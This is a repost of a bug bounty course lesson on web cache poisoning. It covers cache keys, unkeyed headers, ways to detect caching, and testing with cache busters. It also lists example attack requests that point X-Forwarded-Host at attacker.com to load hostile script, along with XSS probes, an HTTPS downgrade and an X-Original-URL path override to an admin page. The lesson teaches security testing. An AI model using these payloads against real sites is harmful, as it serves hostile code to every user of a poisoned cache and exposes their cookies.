π° Originally published on Securityelites β AI Red Team Education β the canonical, fully-updated version of this article.
DAY 29
BUG BOUNTY COURSE
FREE
Day 29 of 60 Β· Bug Bounty Mastery
Web cache poisoning turns caching infrastructure against itself. By injecting a malicious payload via an unkeyed HTTP header, I can poison the cache so every user who requests that URL gets my payload served back β no interaction required from them. Itβs one of the most impactful bugs in modern web security and it pays accordingly: $500 for basic reflected XSS to $25,000+ for poisoning CDN-served JavaScript. Today Iβm covering the complete cache poisoning bug bounty methodology.
π― What Youβll Master in Day 29
β
How web caching works and what makes it exploitable
β
Cache keys, unkeyed inputs and why they matter
β
Common cache poisoning attack vectors 2026
β
Burp Param Miner for automated header discovery
β
Safe testing with cache busters
β
Real HackerOne cache poisoning payouts and reports
β±οΈ 20 min read Β· 3 exercises Β· PortSwigger labs included
π Web Cache Poisoning β Day 29 Table of Content
- How Web Caching Works
- Cache Keys and Unkeyed Inputs
- Cache Poisoning Attack Vectors
- Burp Param Miner Discovery
- Safe Testing With Cache Busters
- Real Bug Bounty Examples and Payouts
Day 28 covered Prototype Pollution β another client-side logic flaw. Todayβs cache poisoning is the server-side equivalent of amplified impact: one poisoned request can affect thousands of users. My full 60-Day Bug Bounty Mastery Course covers this as Day 29 because you need the foundation from SSRF (Day 10) to understand how server-side request manipulation works.
How Web Caching Works
Web caches sit between users and origin servers. When user A requests a page, the cache stores the response. When user B makes the same request, the cache serves the stored response without hitting the origin β improving performance and reducing server load. The cache decides whether two requests are βthe sameβ using a cache key, typically a combination of URL, hostname, and specific headers. Hereβs the vulnerability: some inputs affect the response but are not included in the cache key. These are unkeyed inputs. If I can inject a malicious payload via an unkeyed input, the poisoned response gets cached and served to everyone.
securityelites.com
Cache Poisoning Attack Flow
STEP 1: Attacker sends poisoned request
GET /home HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com β unkeyed, reflected in response
STEP 2: Cache stores poisoned response
Cache key: GET /home + Host: target.com β X-Forwarded-Host NOT in key
Response:
STEP 3: Victim gets poisoned response
GET /home HTTP/1.1
Host: target.com β cache key matches!
Response: poisoned content served from cache β victim gets attacker.com JS
πΈ Web cache poisoning attack flow. The attackerβs X-Forwarded-Host header modifies the response (which references it for script loading) but the header isnβt part of the cache key. So the poisoned response β with the script pointing to attacker.com β gets cached under the legitimate cache key. Every subsequent user gets the malicious version without sending any special headers.
Cache Keys and Unkeyed Inputs
A cache key is what the cache uses to decide if two requests should return the same cached response. Standard cache keys include the URL path, query string, and Host header. Unkeyed inputs are everything else the server might use to construct the response β headers like X-Forwarded-Host, X-Original-URL, query parameters that are reflected but not in the key, and cookies. When I find an unkeyed input that gets reflected in the response, thatβs my attack surface.
DETECTING CACHING IN BURP SUITE
Copy
# Response headers that indicate caching is active
X-Cache: HIT # Varnish / custom cache
X-Cache: MISS # First request, not yet cached
CF-Cache-Status: HIT # Cloudflare CDN cache
CF-Cache-Status: MISS
Age: 3456 # Seconds this response has been cached
Cache-Control: public, max-age=3600
Vary: Accept-Encoding # Headers included in cache key
# Send request twice β if Age increases or X-Cache switches HIT β cached
# Look for these in Burp Repeater response headers on GET requests
Cache Poisoning Attack Vectors
The specific attack depends on which unkeyed header is reflected and where in the response it appears. X-Forwarded-Host reflected in a script src tag gives me JavaScript injection. X-Forwarded-Scheme reflected in a Location header gives me open redirect to HTTPS. X-Original-URL replacing the request path gives me access control bypass. My methodology: find the reflected header, understand what it controls in the response, then build the payload accordingly.
COMMON CACHE POISONING ATTACK VECTORS
Copy
# Vector 1: X-Forwarded-Host β XSS via reflected script src
GET /home?cb=CACHEBUSTER HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# If response contains:
# Then host attacker.com/analytics.js with alert(document.cookie)
# Vector 2: X-Forwarded-Scheme β redirect to HTTP (HTTPS downgrade)
GET /login?cb=CACHEBUSTER HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http
# Vector 3: X-Original-URL β path override
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin/secret
# Vector 4: Unkeyed query parameter
GET /page?utm_source=alert(1)&cb=BUSTER HTTP/1.1
# If utm_source reflected in response but not in cache key β poison
# Vector 5: Vary header abuse β cookie poisoning
# If Vary: Cookie is set but cookie value reflected unescaped β poison
π Read the complete guide on Securityelites β AI Red Team Education
This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on Securityelites β AI Red Team Education β
This article was originally written and published by the Securityelites β AI Red Team Education team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit Securityelites β AI Red Team Education.

Top comments (0)